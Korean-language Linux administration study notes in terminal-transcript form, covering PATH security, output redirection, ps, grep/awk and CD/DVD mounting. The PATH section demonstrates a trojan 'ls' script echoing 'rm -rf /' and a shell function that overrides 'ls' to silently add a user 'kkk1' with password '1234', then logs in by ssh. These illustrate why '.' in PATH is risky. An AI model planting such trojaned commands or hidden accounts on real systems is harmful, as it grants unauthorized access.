- PATH 변수 앞에 현재 디렉토리를 PATH 변수에 포함시키지 않는 이유... (보안상)
# useradd kkk
# cd ~kkk
# pwd
/home/kkk
# ls
rm -rf /
# /bin/ls
ls
# /bin/ls -l
total 2
-rwxr-xr-x 1 kkk kkk 29 Mar 26 14:04 ls
# cat ls
-- ls --
#!/bin/sh
echo "rm -rf /"
-- ls --
- PATH 변수 뒤에도 포함시키지 않는 이유
# echo $PATH
/bin:/sbin:/usr/bin:/usr/sbin:.
# ls
ls*
# ./ls
rm -rf /
# ls
ls*
# su - kkk
$ cp -a ls LS
$ ls
ls LS
$ cp -a ls la
$ cp -a ls ld
$ cp -a ls ks
$ ls
ks la ld ls LS
# cd ~kkk
# LS
rm -rf /
# la
rm -rf /
# function myls(){
> /bin/ls --color=tty
> }
[root@localhost ~]# myls
passwd100 passwd2 passwd3 passwd4
[root@localhost ~]# function ls(){
> useradd kkk1
> echo 1234|passwd --stdin kkk1 > /dev/null 2>&1
> /bin/ls --color=tty
> }
# tail -1 /etc/passwd
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
# ls
passwd100 passwd2 passwd3 passwd4
# tail -1 /etc/passwd
kkk1:x:500:500::/home/kkk1:/bin/bash
# ssh kkk1@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is 00:48:f3:93:3c:12:8c:98:97:af:81:01:59:cf:c6:35.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
kkk1@localhost's password:
$
# ls
a.txt ls* mv* mv2
# ls > list.txt
# ls -l
total 704
-rw-r--r-- 1 root root 21 Mar 27 11:46 a.txt
-rw-r--r-- 1 root root 27 Mar 27 11:49 list.txt
-rwxr-xr-x 1 root root 93566 Mar 27 11:45 ls*
-rwxr-xr-x 1 root root 111668 Mar 27 11:45 mv*
-rw-r--r-- 1 root root 467648 Mar 27 11:46 mv2
# cat list.txt
a.txt
list.txt
ls*
mv*
mv2
# echo 123
123
# echo 123 > list.txt
# cat list.txt
123
# echo 456 >> list.txt
# cat list.txt
123
456
>와 >> 의 차이
- 모든 프로세스를 출력한다.
# ps aux
# ps -ef
# ps aux | grep bash
# ps aux | grep tty
# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
# awk /root/ /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
# cat /etc/passwd | awk /root/
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
- 마운트
- CD/DVD mount
1. DVD 삽입하고
2. 마운트 명령어로 DVD를 디렉토리 연결한다.
# ls -l /dev/cdrom
# mount -t iso9660 -o ro /dev/hdc /mnt
# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
/dev/hdc 3831642 3831642 0 100% /mnt
# umount /dev/hdc
# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
# mount /dev/hdc /mnt
mount: block device /dev/hdc is write-protected, mounting read-only
# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
/dev/hdc 3831642 3831642 0 100% /mnt
# umount /mnt
# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
[root@localhost test]# ls -l /dev/hdc
brw-rw---- 1 root disk 22, 0 Mar 27 10:40 /dev/hdc
[root@localhost test]# ls -l /dev/cdrom
lrwxrwxrwx 1 root root 3 Mar 27 10:40 /dev/cdrom -> hdc
[root@localhost test]# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
[root@localhost test]# mount -t iso9660 -o ro /dev/cdrom /mnt
[root@localhost test]# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
/dev/hdc 3831642 3831642 0 100% /mnt
[root@localhost test]# umount /mnt
[root@localhost test]# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 7103744 1797844 4939220 27% /
tmpfs 257440 0 257440 0% /dev/shm
/root/c.dd 9677 9677 0 100% /root/C
